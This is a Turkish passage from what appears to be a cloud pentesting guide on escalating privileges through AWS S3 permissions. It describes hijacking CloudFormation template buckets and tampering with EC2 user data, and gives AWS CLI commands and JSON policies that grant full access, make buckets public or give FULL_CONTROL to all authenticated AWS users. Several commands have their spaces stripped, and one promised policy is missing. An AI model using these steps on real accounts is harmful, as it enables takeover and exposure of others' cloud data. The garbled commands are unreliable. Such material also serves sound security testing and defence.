Bu izinlere sahip bir saldırgan, ilgi çekici kovalarda kaynakları ele geçirebilir ve ayrıcalıkları yükseltebilir.
Örneğin, "cf-templates-nohnwfax6a6i-us-east-1" adlı bir cloudformation kovasına sahip bir saldırgan, bu izinlerle dağıtımı ele geçirebilir. Erişim, aşağıdaki politika ile verilebilir:
Ve kaçırma işlemi, şablonun kovaya yüklenmesiyle şablonun dağıtılması arasında küçük bir zaman penceresi olduğu için mümkündür. Bir saldırgan, kendi hesabında bir lambda işlevi oluşturabilir ve bir kova bildirimi gönderildiğinde tetiklenir, bu da o kovanın içeriğini ele geçirir.
Bu, S3'e nesne alma ve yükleme izinleridir. AWS içindeki (ve dışındaki) birçok hizmet, yapılandırma dosyalarını depolamak için S3 depolamasını kullanır.
Bunlara okuma erişimi olan bir saldırgan, bunlarda hassas bilgiler bulabilir.
Bunlara yazma erişimi olan bir saldırgan, verileri değiştirerek bazı hizmetleri kötüye kullanabilir ve ayrıcalıkları yükseltmeye çalışabilir.
İşte bazı örnekler:
Bir EC2 örneği, kullanıcı verilerini bir S3 kovasında depoluyorsa, bir saldırgan bunu değiştirerek EC2 örneği içinde keyfi kodu yürütebilir.
s3:PutBucketPolicy
Bu izne sahip bir saldırgan, aynı hesaptan olması gereken, aksi takdirde Belirtilen yöntem izin verilmez hatası tetiklenecektir, kova(lar) üzerinde kendisine daha fazla izin verebilecek ve kovaları okuma, yazma, değiştirme, silme ve açığa çıkarma yeteneğine sahip olacaktır.
# Update Bucket policyawss3apiput-bucket-policy--policyfile:///root/policy.json--bucket<bucket-name>## JSON giving permissions to a user and mantaining some previous root access{"Id":"Policy1568185116930","Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123123123123:root"},"Action":"s3:ListBucket","Resource":"arn:aws:s3:::somebucketname"},{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123123123123:user/username"},"Action":"s3:*","Resource":"arn:aws:s3:::somebucketname/*"}]}## JSON Public policy example### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{"Id":"Policy1568185116930","Version":"2012-10-17","Statement": [{"Sid":"Stmt1568184932403","Action": ["s3:ListBucket"],"Effect":"Allow","Resource":"arn:aws:s3:::welcome","Principal":"*"},{"Sid":"Stmt1568185007451","Action": ["s3:GetObject"],"Effect":"Allow","Resource":"arn:aws:s3:::welcome/*","Principal":"*"}]}
s3:GetBucketAcl, s3:PutBucketAcl
Bir saldırgan, bu izinleri kullanarak belirli kovalara karşı daha fazla erişim kazanabilir.
Saldırganın aynı hesaptan olması gerekmez. Dahası, yazma erişimi de olabilir.
# Update bucket ACLawss3apiget-bucket-acl--bucket<bucket-name>awss3apiput-bucket-acl--bucket<bucket-name>--access-control-policyfile://acl.json##JSON ACL example## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.{"Owner":{"DisplayName":"<DisplayName>","ID":"<ID>"},"Grants": [{"Grantee":{"Type":"Group","URI":"http://acs.amazonaws.com/groups/global/AuthenticatedUsers"},"Permission":"FULL_CONTROL"}]}## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectAcl
Bir saldırgan, bu izinleri kullanarak kovalarda belirli nesneler üzerinde daha fazla erişim elde etmek için bunları istismar edebilir.
# Update bucket object ACLawss3apiget-object-acl--bucket<bucekt-name>--keyflagawss3apiput-object-acl--bucket<bucket-name>--keyflag--access-control-policyfile://objacl.json##JSON ACL example## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.{"Owner":{"DisplayName":"<DisplayName>","ID":"<ID>"},"Grants": [{"Grantee":{"Type":"Group","URI":"http://acs.amazonaws.com/groups/global/AuthenticatedUsers"},"Permission":"FULL_CONTROL"}]}## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectVersionAcl
Bu yetkilere sahip bir saldırganın belirli bir nesne sürümüne Acl ekleyebilmesi beklenir.